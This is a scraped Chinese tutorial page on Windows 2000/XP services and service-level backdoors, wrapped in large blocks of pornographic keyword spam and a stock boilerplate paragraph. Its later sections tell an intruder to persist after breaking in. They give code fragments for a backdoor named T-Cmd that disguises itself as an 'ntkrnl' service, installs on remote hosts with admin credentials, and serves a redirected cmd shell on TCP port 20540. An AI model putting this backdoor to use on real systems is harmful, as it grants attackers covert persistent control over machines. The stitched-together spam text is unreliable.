韩剧1988免费观看全集_久久影视三级福利片_亚洲视频在线观看免费_在线观看欧美日韩_国产亚洲激情在线_亚洲精品美女久久久_欧美国产日韩一区二区在线观看_91在线观看免费高清完整版在线观看_日韩av免费看_国产又爽又黄的激情精品视频_琪琪亚洲精品午夜在线_欧美性猛xxx_不卡毛片在线看_国产亚洲日本欧美韩国_91国内在线视频_精品国产福利视频

當(dāng)前位置:蘿卜系統(tǒng) > 網(wǎng)絡(luò)技術(shù)教程 > 詳細(xì)頁面

淺析Win2K/XP服務(wù)與后門技術(shù)

淺析Win2K/XP服務(wù)與后門技術(shù)

更新時間:2021-01-07 文章作者:未知 信息來源:網(wǎng)絡(luò) 閱讀次數(shù):

網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機(jī)、存儲資源、數(shù)據(jù)資源、信息資源、知識資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。
一、序言

  Windows下的服務(wù)程序都遵循服務(wù)控制管理器(SCM)的接口標(biāo)準(zhǔn),它們會在登錄系統(tǒng)時自動運(yùn)行,甚至在沒有用戶登錄系統(tǒng)的情況下也會正常執(zhí)行,類似與UNIX系統(tǒng)中的守護(hù)進(jìn)程(daemon)。它們大多是控制臺程序,不過也有少數(shù)的GUI程序。本文所涉及到的服務(wù)程序僅限于Windows2000/XP系統(tǒng)中的一般服務(wù)程序,不包含Windows9X。

  二、Windows服務(wù)簡介

  服務(wù)控制管理器擁有一個在注冊表中記錄的數(shù)據(jù)庫,包含了所有已安裝的服務(wù)程序和設(shè)備驅(qū)動服務(wù)程序的相關(guān)信息。它允許系統(tǒng)管理員為每個服務(wù)自定義安全要求和控制訪問權(quán)限。Windows服務(wù)包括四大部分:服務(wù)控制管理器(Service Control Manager),服務(wù)控制程序(Service Control Program),服務(wù)程序(Service Program)和服務(wù)配置程序(Service Configuration Program)。

  1.服務(wù)控制管理器(SCM)

  服務(wù)控制管理器在系統(tǒng)啟動的早期由Winlogon進(jìn)程啟動,可執(zhí)行文件名是“Admin$\System32\Services.exe”,它是系統(tǒng)中的一個RPC服務(wù)器,因此服務(wù)配置程序和服務(wù)控制程序可以在遠(yuǎn)程操縱服務(wù)。它包括以下幾方面的信息:

  已安裝服務(wù)數(shù)據(jù)庫:服務(wù)控制管理器在注冊表中擁有一個已安裝服務(wù)的數(shù)據(jù)庫,它在服務(wù)控制管理器和程序添加,刪除,配置服務(wù)程序時使用,在注冊表中數(shù)據(jù)庫的位置為:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子鍵,每個子鍵的名字就代表一個對應(yīng)的服務(wù)。數(shù)據(jù)庫中包括:服務(wù)類型(私有進(jìn)程,共享進(jìn)程),啟動類型(自動運(yùn)行,由服務(wù)控制管理器啟動,無效),錯誤類型(忽略,常規(guī)錯誤,服務(wù)錯誤,關(guān)鍵錯誤),執(zhí)行文件路徑,依賴信息選項,可選用戶名與密碼。

  自動啟動服務(wù):系統(tǒng)啟動時,服務(wù)控制管理器啟動所有“自啟”服務(wù)和相關(guān)依賴服務(wù)。服務(wù)的加載順序:順序裝載組列表:

  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定組列表:    
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每個服務(wù)所依賴的服務(wù)程序。

  在系統(tǒng)成功引導(dǎo)后會保留一份LKG(Last-Know-Good)的配置信息位于:

  HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。

  因要求而啟動服務(wù):用戶可以使用服務(wù)控制面板程序來啟動一項服務(wù)。服務(wù)控制程序也可以使用StartService來啟動服務(wù)。服務(wù)控制管理器會進(jìn)行下面的操作:獲取帳戶信息,登錄服務(wù)項目,創(chuàng)建服務(wù)為懸掛狀態(tài),分配登錄令牌給進(jìn)程,允許進(jìn)程執(zhí)行。

  服務(wù)記錄列表:每項服務(wù)在數(shù)據(jù)庫中都包含了下面的內(nèi)容:服務(wù)名稱,開始類型,服務(wù)狀態(tài)(類型,當(dāng)前狀態(tài),接受控制代碼,退出代碼,等待提示),依賴服務(wù)列表指針。

  服務(wù)控制管理器句柄:服務(wù)控制管理器支持句柄類型訪問以下對象:已安裝服務(wù)數(shù)據(jù)庫,服務(wù)程序,數(shù)據(jù)庫的鎖開狀態(tài)。

  2.服務(wù)控制程序(SCP)

  服務(wù)控制程序可以執(zhí)行對服務(wù)程序的開啟,控制和狀態(tài)查詢功能:

  開啟服務(wù):如果服務(wù)的開啟類型為SERVICE_DEMAND_START,就可以用服務(wù)控制程序來開始一項服務(wù)。在開始服務(wù)的初始化階段服務(wù)的當(dāng)前狀態(tài)為:SERVICE_START_PENDING,而在初始化完成后的狀態(tài)就是:SERVICE_RUNNING。

  向正在運(yùn)行的服務(wù)發(fā)送控制請求:控制請求可以是系統(tǒng)默認(rèn)的,也可以是用戶自定義的。標(biāo)準(zhǔn)控制代碼如下:停止服務(wù)(SERVICE_CONTROL_STOP),暫停服務(wù)(SERVICE_CONTROL_PAUSE),恢復(fù)已暫停服務(wù)(SERVICE_CONTROL_CONTINUE),獲得更新信息(SERVICE_CONTROL_INTERROGATE)。

  3.服務(wù)程序

  一個服務(wù)程序可能擁有一個或多個服務(wù)的執(zhí)行代碼。我們可以創(chuàng)建類型為SERVICE_WIN32_OWN_PROCESS的只擁有一個服務(wù)的服務(wù)程序。而類型為SERVICE_WIN32_SHARE_PROCESS的服務(wù)程序卻可以包含多個服務(wù)的執(zhí)行代碼。詳情參見后面的Windows服務(wù)與編程。

  4.服務(wù)配置程序

  編程人員和系統(tǒng)管理員可以使用服務(wù)配置程序來更改,查詢已安裝服務(wù)的信息。當(dāng)然也可以通過注冊表函數(shù)來訪問相關(guān)資源。

  服務(wù)的安裝,刪除和列舉:我們可以使用相關(guān)的系統(tǒng)函數(shù)來創(chuàng)建,刪除服務(wù)和查詢所有服務(wù)的當(dāng)前狀態(tài)。

  服務(wù)配置:系統(tǒng)管理員通過服務(wù)配置程序來控制服務(wù)的啟動類型,顯示名稱和相關(guān)描述信息。

[page_break]三、Windows服務(wù)與編程

  Windows服務(wù)編程包括幾方面的內(nèi)容,下面我們將從服務(wù)控制程序,服務(wù)程序和服務(wù)配置程序的角度介紹服務(wù)編程相關(guān)的內(nèi)容。

  1.服務(wù)控制程序

  執(zhí)行服務(wù)控制程序的相關(guān)函數(shù)前,我們需要獲得一個服務(wù)對象的句柄,方式有兩種:由OpenSCManager來獲得一臺特定主機(jī)的服務(wù)控制管理器數(shù)據(jù)庫的句柄;使用OpenService或CreateService函數(shù)來獲得某個服務(wù)對象的句柄。

  啟動服務(wù):要啟動一個服務(wù),服務(wù)控制程序可以使用StartService來實現(xiàn)。如果服務(wù)控制管理器數(shù)據(jù)庫被鎖定,那需要等待一定的時間然后再次測試StartService函數(shù)。當(dāng)然也可以使用QueryServiceLockStatus函數(shù)來確認(rèn)數(shù)據(jù)庫的當(dāng)前狀態(tài)。在啟動成功完成時,那么dwCurrentState參數(shù)將會返回SERVICE_RUNNING值。

  服務(wù)控制請求:服務(wù)控制程序使用ControlService函數(shù)來發(fā)送控制請求到正在運(yùn)行的服務(wù)程序。它會向控制句柄函數(shù)發(fā)送一個特定的控制命令,可以是系統(tǒng)默認(rèn)的,也可以是用戶自定義的。而且每個服務(wù)都會確定自己將會接收的控制命令列表。使用QueryServiceStatus函數(shù)時,在返回的dwControlsAccepted參數(shù)中表明服務(wù)程序?qū)邮盏目刂泼。所有的服?wù)都會接受SERVICE_CONTROL_INTERROGATE命令。

  2.服務(wù)程序

  一個服務(wù)程序內(nèi)可以包含一個服務(wù)或多個服務(wù)的執(zhí)行代碼,但是它們都擁有固定的三個部分:服務(wù)main函數(shù),服務(wù)ServiceMain函數(shù)和服務(wù)Control Handler函數(shù)。

  服務(wù)main函數(shù):服務(wù)程序通常是以控制臺的方式存在的,所以它們的入口點(diǎn)都是main函數(shù)。在服務(wù)控制管理器開始一個服務(wù)程序時,會等待StartServiceCtrlDispatcher函數(shù)的執(zhí)行。如果服務(wù)類型是SERVICE_WIN32_OWN_PROCESS就會立即調(diào)用StartServiceCtrlDispatcher函數(shù)的執(zhí)行;如果服務(wù)類型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服務(wù)之后再調(diào)用它。StartServiceCtrlDispatcher函數(shù)的參數(shù)就是一個SERVICE_TABLE_ENTRY結(jié)構(gòu),它包含了進(jìn)程內(nèi)所有服務(wù)的名稱和服務(wù)入口點(diǎn)。

  服務(wù)ServiceMain函數(shù):函數(shù)ServiceMain是服務(wù)的入口點(diǎn)。在服務(wù)控制程序請求一個新的服務(wù)啟動時,服務(wù)控制管理器啟動一個服務(wù),并發(fā)送一個開始請求到控制調(diào)度程序,而后控制調(diào)度程序創(chuàng)建一個新線程來執(zhí)行ServiceMain函數(shù)。ServiceMain須執(zhí)行以下的任務(wù):調(diào)用RegisterServiceCtrlHandler函數(shù)注冊一個HandlerEx函數(shù)來向服務(wù)發(fā)送控制請求信息,返回值是服務(wù)狀態(tài)句柄用來向服務(wù)控制管理器傳送服務(wù)狀態(tài)。初始化后調(diào)用SetServiceStatus函數(shù)設(shè)置服務(wù)狀態(tài)為SERVICE_RUNNING。最后,就是執(zhí)行服務(wù)所要完成的任務(wù)。

  服務(wù)Control Handler函數(shù):每個服務(wù)都有一個控制句柄HandlerEx函數(shù)。它會在服務(wù)進(jìn)程從服務(wù)控制程序接收到一個控制請求時被控制調(diào)度程序所調(diào)用。無論何時在HandlerEx函數(shù)被調(diào)用時,都要調(diào)用SetServiceStatus函數(shù)向服務(wù)控制管理器報告它當(dāng)前的狀態(tài)。在用戶關(guān)閉系統(tǒng)時,所有的控制句柄都會調(diào)用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數(shù)來接收NSERVICE_CONTROL_SHUTDOWN控制代碼。

  3.服務(wù)配置程序

  服務(wù)配置程序可以更改或查詢服務(wù)的當(dāng)前配置信息。在調(diào)用服務(wù)配置函數(shù)之前,必須獲得一個服務(wù)對象的句柄,當(dāng)然我們可以通過調(diào)用OpenSCManager,OpenService或CreateService函數(shù)來獲得。

  創(chuàng)建,刪除服務(wù):服務(wù)配置程序使用CreateService函數(shù)在服務(wù)控制管理器的數(shù)據(jù)庫中安裝一個新服務(wù),它會提供服務(wù)的名稱和相關(guān)的配置信息并存儲在數(shù)據(jù)庫中。服務(wù)配置程序則使用DeleteService函數(shù)從數(shù)據(jù)庫中刪除一個已經(jīng)安裝的服務(wù)。

  四、服務(wù)級后門技術(shù)

  在你進(jìn)入某個系統(tǒng)后,往往會為自己留下一個或多個后門,以便今后的訪問。在上傳一個后門程序到遠(yuǎn)程系統(tǒng)上后系統(tǒng)重啟之時,總是希望后門仍然存在。那么,將后門程序創(chuàng)建成服務(wù)程序應(yīng)該是個不錯的想法,這就是利用了服務(wù)程序自動運(yùn)行的機(jī)制,當(dāng)然在Windows2000的任務(wù)管理器里也很難結(jié)束一個服務(wù)程序的進(jìn)程。

  創(chuàng)建一個后門,它常常會在一個端口監(jiān)聽,以方便我們使用TCP/UDP協(xié)議與遠(yuǎn)程主機(jī)建立連接,所以我們首先需要在后門程序里創(chuàng)建一個監(jiān)聽的端口,為了數(shù)據(jù)傳輸?shù)姆(wěn)定與安全,我們可以使用TCP協(xié)議。

  那么,我們?nèi)绾尾拍苣M一個Telnet服務(wù)似的后門呢?我想大家都清楚,如果在遠(yuǎn)程主機(jī)上有一個Cmd是我們可以控制的,也就是我們可以在這個Cmd里執(zhí)行命令,那么就可以實現(xiàn)對遠(yuǎn)程主機(jī)的控制了,至少可以執(zhí)行各種常規(guī)的系統(tǒng)命令。啟動一個Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因為WinExec和ShellExecute它們實在太簡單了。在使用CreateProcess時,要用到它的重定向標(biāo)準(zhǔn)輸入/輸出的選項功能,把在本地主機(jī)的輸入重定向輸入到遠(yuǎn)程主機(jī)的Cmd進(jìn)程,并且把遠(yuǎn)程主機(jī)Cmd進(jìn)程的標(biāo)準(zhǔn)輸出重定向到本地主機(jī)的標(biāo)準(zhǔn)輸出。這就需要在后門程序里使用CreatePipe創(chuàng)建兩個管道來實現(xiàn)進(jìn)程間的數(shù)據(jù)通信(Inter-Process Communication,IPC)。當(dāng)然,還必須將遠(yuǎn)程主機(jī)上Cmd的標(biāo)準(zhǔn)輸入和輸出在本地主機(jī)之間進(jìn)行傳送,我們選擇TCP協(xié)議的send和recv函數(shù)。在客戶結(jié)束訪問后,還要調(diào)用TerminateProcess來結(jié)束創(chuàng)建的Cmd進(jìn)程。

  五、關(guān)鍵函數(shù)分析

  本文相關(guān)程序T-Cmd v1.0是一個服務(wù)級的后門程序,適用平臺為Windows2000/XP。它可自動為遠(yuǎn)程/本地主機(jī)創(chuàng)建服務(wù)級后門,無須使用任何額外的命令,支持本地/遠(yuǎn)程模式。重啟后,程序仍然自動運(yùn)行,監(jiān)聽端口20540/tcp。

  1.自定義數(shù)據(jù)結(jié)構(gòu)與函數(shù)

typedef struct
{
HANDLE hPipe;
//為實現(xiàn)進(jìn)程間通信而使用的管道;
SOCKET sClient;
//與客戶端進(jìn)行通信時的客戶端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd標(biāo)準(zhǔn)輸入/輸出時使用的數(shù)據(jù)結(jié)構(gòu);

typedef struct PROCESSDATA
{
HANDLE hProcess;
//創(chuàng)建Cmd進(jìn)程時獲得的進(jìn)程句柄;
DWORD dwProcessId;
//創(chuàng)建Cmd進(jìn)程時獲得的進(jìn)程標(biāo)識符;
struct PROCESSDATA *next;
//指向下一個數(shù)據(jù)結(jié)構(gòu)的指針;
}PROCESSDATA,*PPROCESSDATA;
//在客戶結(jié)束訪問或刪除服務(wù)時為關(guān)閉所以的Cmd進(jìn)程而創(chuàng)建的數(shù)據(jù)結(jié)構(gòu);

void WINAPI CmdStart(DWORD,LPTSTR *);
//服務(wù)程序中的“ServiceMain”:注冊服務(wù)控制句柄,創(chuàng)建服務(wù)主線程;
void WINAPI CmdControl(DWORD);
//服務(wù)程序中的“HandlerEx”:處理接收到的控制命令,刪除已創(chuàng)建的Cmd進(jìn)程;
DWORD WINAPI CmdService(LPVOID);
//服務(wù)主線程,創(chuàng)建服務(wù)監(jiān)聽端口,在接受客戶連接時,創(chuàng)建重定向Cmd標(biāo)準(zhǔn)輸入/輸出線程;
DWORD WINAPI CmdShell(LPVOID);
//創(chuàng)建管道與Cmd進(jìn)程,及Cmd的輸入/輸出線程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的輸出,讀取信息后發(fā)送到客戶端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的輸入,接收客戶端的信息輸入到Cmd進(jìn)程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果選擇遠(yuǎn)程模式,則須與遠(yuǎn)程主機(jī)建立連接,注須提供管理員權(quán)限的用戶名與密碼,密碼為空時用"NULL"代替;
void InstallCmdService(char *);
//復(fù)制傳送文件,打開服務(wù)控制管理器,創(chuàng)建或打開服務(wù)程序;
void RemoveCmdService(char *);
//刪除文件,停止服務(wù)后,卸載服務(wù)程序;

  2.服務(wù)程序相關(guān)函數(shù)

SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服務(wù)程序的名稱和入口點(diǎn);
{NULL ,NULL }
//SERVICE_TABLE_ENTRY結(jié)構(gòu)必須以“NULL”結(jié)束;
};
StartServiceCtrlDispatcher(DispatchTable);
//連接服務(wù)控制管理器,開始控制調(diào)度程序線程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注冊CmdControl函數(shù)為“HandlerEx”函數(shù),并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//設(shè)置服務(wù)的當(dāng)前狀態(tài)為SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//創(chuàng)建服務(wù)主線程,實現(xiàn)后門功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局變量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//終止創(chuàng)建的Cmd進(jìn)程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系統(tǒng)目錄下服務(wù)程序的文件是否已經(jīng)存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//獲得當(dāng)前進(jìn)程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//復(fù)制文件到系統(tǒng)目錄下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打開服務(wù)控制管理器數(shù)據(jù)庫;
CreateService(schSCManager,"ntkrnl","ntkrnl",
 SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,
 "ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//創(chuàng)建服務(wù),參數(shù)包括名稱,服務(wù)類型,開始類型,錯誤類型及文件路徑等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服務(wù)已經(jīng)創(chuàng)建,則打開服務(wù);
StartService(schService,0,NULL);
//啟動服務(wù)進(jìn)程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服務(wù)狀態(tài);
DeleteService(schService);
//卸載服務(wù)程序;
DeleteFile(lpImagePath);
//刪除文件;

  3.后門程序相關(guān)函數(shù)

hMutex=CreateMutex(NULL,FALSE,NULL);
//創(chuàng)建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//創(chuàng)建處理客戶端訪問的重定向輸入輸出線程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//創(chuàng)建用于進(jìn)程間通信的輸入/輸出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//創(chuàng)建經(jīng)重定向輸入輸出的Cmd進(jìn)程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//創(chuàng)建處理Cmd輸入輸出的線程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待線程或進(jìn)程的結(jié)束;
ReleaseMutex(hMutex);
//釋放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中,但不從管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中寫入從客戶端接收到的數(shù)據(jù);
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//與遠(yuǎn)程主機(jī)建立連接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//與遠(yuǎn)程主機(jī)結(jié)束連接;


網(wǎng)絡(luò)的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來越嚴(yán)峻的考驗―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項技術(shù)都需要適時應(yīng)勢,對應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統(tǒng)下載排行

網(wǎng)站地圖xml | 網(wǎng)站地圖html
青青草原在线免费观看| 亚洲男人的天堂在线视频| 久久精品人人做人人综合| 国产麻豆免费视频| 日本成人在线网站| 日韩精品亚洲一区| 中日韩精品视频在线观看| 夜夜添无码一区二区三区| www.99色.com| 色猫猫国产区一区二在线视频| 亚洲精品一区二三区不卡| 国产一级免费看| 成年女人免费v片| 99精品久久99久久久久| 老汉色影院首页| 亚洲国产精品91| 在线观看免费视频一区| 老司机亚洲精品一区二区| 久艹在线视频| 国产91精品一区| 亚洲人成77777| eeuss影院www免费视频| 久久激五月天综合精品| 黑人无套内谢中国美女| 久久亚洲精品伦理| 尹人成人综合网| 四虎影视最新网址| 午夜精彩国产免费不卡不顿大片| 69久久夜色精品国产69蝌蚪网| 亚洲欧美高清在线| 国产又粗又猛又爽又黄的视频一| 99久久99久久精品免费看蜜桃| 色偷偷中文字幕| 538精品在线视频| 在线观看日产精品| 欧美一级片免费在线| 精品久久在线| ●精品国产综合乱码久久久久| 黄页在线免费观看| 在线观看一区二区三区三州| 免费激情视频在线观看| 精品国产亚洲AV| 91九色视频蝌蚪| 国产va免费精品高清在线观看| 护士精品一区二区三区| 欧美壮男野外gaytube| 天天射综合影视| 国产欧美日韩亚洲一区二区三区| 日日夜夜精品视频| 男人的午夜天堂| 欧美日韩亚洲综合在线 欧美亚洲特黄一级| 日韩欧美三级电影| 日本成人伦理电影| 2021天天操| 日韩av一区二区三区在线| 亚洲人成网站色ww在线| 亚洲摸摸操操av| 免费99精品国产自在在线| 亚洲中文字幕在线观看| 1024手机在线视频| 天天草夜夜骑| 亚洲成人动漫精品| 日本一区二区高清视频| 亚洲久草在线| 中文av一区特黄| jizzjizzjizz中国| 欧美日韩在线精品一区二区三区激情| 亚洲国产精品自拍视频| 女人爱爱视频| 91精品国产欧美一区二区成人| 成人做爰66片免费看网站| 丁香亚洲综合激情啪啪综合| 日本激情五月| 色一情一乱一乱一区91| 91cn在线观看| caoporn超碰国产公开| 先锋影音av321| 欧美嫩在线观看| jizz.日本| 91女神在线观看| 日本天堂中文字幕| 国产3p露脸普通话对白| 国产精品久久在线观看| 蜜臀av免费观看| 冲田杏梨av在线| 日韩中文字幕| 国产成人av网址| 色婷婷综合成人av| 国产区精品区| 国产精品传媒| 亚洲 欧美 激情 小说 另类| 日本高清一区二区视频| 国产精品入口麻豆高清| 国产熟人av一二三区| 欧美肥妇毛茸茸| 一区二区三区美女xx视频| 男女午夜网站| 久久九九国产精品怡红院| 福利资源在线久| 任你躁在线精品免费| 成人免费网站视频| 美女毛片在线观看| 欧美国产日韩一区二区| 精品一区二区三区免费毛片爱| 男人天堂手机在线视频| 久久久久久久国产精品毛片| 亚洲国产一区在线| 精品免费国产一区二区三区四区| 亚洲成人在线网站| 日韩欧美国产三级| eeuss网址直达入口| 青青在线免费观看视频| 久久观看最新视频| 色噜噜亚洲精品中文字幕| 日韩一级在线观看| 国产乱人乱偷精品视频a人人澡| 成人欧美一区二区三区黑人| 国产日韩欧美成人| 欧美视频一二区| 欧美特级xxxxbbbb毛片| 国产精品99久久免费黑人人妻| 日韩欧美中文在线观看| 永久久久免费浮力影院| 亚洲调教欧美在线| 在线观看视频网站你懂得| av毛片免费看| 视频一区二区视频| 毛片女人与拘交视频| 簧片在线免费看| 日韩精品免费在线观看| 亚洲乱码视频| 成人做爰高清视频网站| 日韩福利视频在线观看| 99re66热这里只有精品4| 激情五月色综合亚洲小说| 亚洲国产视频一区二区| 国产午夜一区| 精品人妻av一区二区三区| 精品国产一区在线| 国产黄色大片免费看| 国产视频你懂的| 欧美成人激情在线| 俄罗斯黄色录像| 欧美午夜影院一区| 日产午夜精品一线二线三线| 插我舔内射18免费视频| 日本欧美色图| 亚洲精品国产精品国自产网站| 国产成人无码a区在线观看视频| 成人久久久久爱| 日韩精品视频一二三| 日本在线免费中文字幕| 蜜桃久久久久久久| 国产欧美一区二区三区网站| 国模吧一区二区三区| 欧美在线网站| 最新69国产成人精品视频免费| 91欧美一区二区| 男女男精品视频网站| 天堂网视频在线| 日中文字幕在线| 国模gogo一区二区大胆私拍| 国产激情久久久久| 国产视频久久| 国产一级片在线| 国产成人av在线播放| 黄色片免费观看视频| 日韩精品一区二区三区四区| 久久精品一区二区国产| 久久久精品视频在线| 热舞福利精品大尺度视频| 欧美成年人视频网站欧美| 日韩福利在线| 69xxx在线| 欧美日韩一区二区在线| 日韩欧美三级视频| 91福利免费视频| 香蕉网站在线| 狠狠综合久久av一区二区小说| 亚洲www在线观看| 污污污污污污www网站免费| 亚洲一级二级| 日韩精品第二页| 1区2区3区精品视频| 国产精品免费视频一区一| 久久久久麻豆v国产| 夜鲁夜鲁夜鲁视频在线播放| 黄瓜视频网站| 精品美女在线观看视频在线观看| 欧美高清性hdvideosex| 亚洲自拍偷拍综合| 国产三级精品视频| 国产激情精品一区二区三区| 久久这里有精品| av中文在线观看| 国产黑人绿帽在线第一区| crdy在线观看欧美| 捆绑凌虐一区二区三区| 国产在线不卡视频| 99久在线精品99re8热| 成人av黄色| 怡红院精品视频| 日韩欧美一起| 四虎永久网址| 国产伦精品一区二区三区视频免费| 国产精品视频一区视频二区| 妺妺窝人体色WWW精品| 99久久精品免费看国产交换| 97久久精品一区二区三区的观看方式| 国产福利久久| 91av手机在线| 日本韩国欧美三级| 国产成人av资源| 久久久久国内| 亚洲免费在线精品一区| 国外成人免费在线播放| 欧美大片免费| 潘金莲一级淫片aaaaa免费看| 国产理论电影在线| 在线播放一区二区精品视频| 欧美搞黄网站| 成人av在线播放网站| 日韩欧美在线精品| 美日韩精品免费观看视频| 爽成人777777婷婷| 波多野结衣一本| 2021天天操| 好妞色妞国产在线视频| 91精品国产乱| 国产视频你懂的| 国产精品视频一区二区三区不卡| 美女mm1313爽爽久久久蜜臀| 国产999精品视频| 久久综合伊人77777麻豆最新章节| 日韩制服诱惑| 99久久99久久精品国产片| 五月开心六月丁香综合色啪| 人人超在线公开视频| 亚洲成人动漫在线播放| 极品束缚调教一区二区网站| 成人观看网址| 亚洲美女精品久久| 男人天堂网页| 欧美高清在线一区| 91久久久久久久久久久久| 国模精品视频一区二区三区| 日本精品在线播放| 日韩福利一区| 久久婷婷开心| 国内精品久久久久久不卡影院| 91精品视频免费观看| 欧美裸体在线版观看完整版| 无码人妻少妇伦在线电影| 成人性教育视频在线观看| 51视频国产精品一区二区| 亚洲国产精品成人| 欧美国产精品一二三| 向日葵视频成人app网址| 欧美日韩视频第一区| 中文字幕乱码中文乱码51精品| 午夜黄色小视频| 精品成在人线av无码免费看| 免费视频网站www| 欧美成人基地| 亚洲999一在线观看www| 懂色av噜噜一区二区三区av| 五月天激情国产综合婷婷婷| 永久免费看片在线播放| 精品国产一区二区三区久久久蜜臀| 涩涩视频在线观看下载| 国产91白丝在线播放| 亚洲免费av在线| 亚洲aⅴ日韩av电影在线观看| 国产破处视频在线观看| 亚洲视频你懂的| 狠狠色噜噜狠狠狠| 美女视频黄频大全不卡视频在线播放| 一区二区三区在线观看国产| 午夜男人视频在线观看| 高h视频免费观看| 91精品国产乱码| 国产精品chinese| 伊人伊人av电影| 国产欧美另类| 国产精品97| sesexxxx| 桃花视频大全不卡免费观看网站| 中文精品视频一区二区在线观看| 亚洲免费视频网站| 日本一区二区三区四区在线观看| 暖暖成人免费视频| 日本一区二区三区在线播放| 国产一区免费看| 北岛玲一区二区三区| 国产精品久久一| 日本不卡1区2区3区| 久精品国产欧美| 老司机免费视频久久| 精品一区二区三区高清免费不卡| 天堂网www在线观看| 大杳蕉精品视频在线观看| 黄色三级视频在线播放| 欧洲成人免费视频| 免费在线黄色av| 懂色av一区二区三区免费看| 无码一区二区三区| 影视一区二区| 天堂久久久久久| 午夜激情一区二区| 性欧美videos白嫩| 日韩成人av在线资源| 视频一区二区三区国产| 中文字幕伦理片| 亚洲色图在线播放| 成人国内精品久久久久一区| 国产成人无码一区二区在线观看| 9l亚洲国产成人精品一区二三| 亚洲bt欧美bt精品777| 国产精品jizz视频| 99pao成人国产永久免费视频| 久久这里只精品最新地址| 日本在线www| 国产精品一二三区在线观看| 亚洲美女爱爱视频| 日韩av中文字幕在线| 日本一区二区免费视频| 欧美日韩一二三四区| yellow在线观看网址|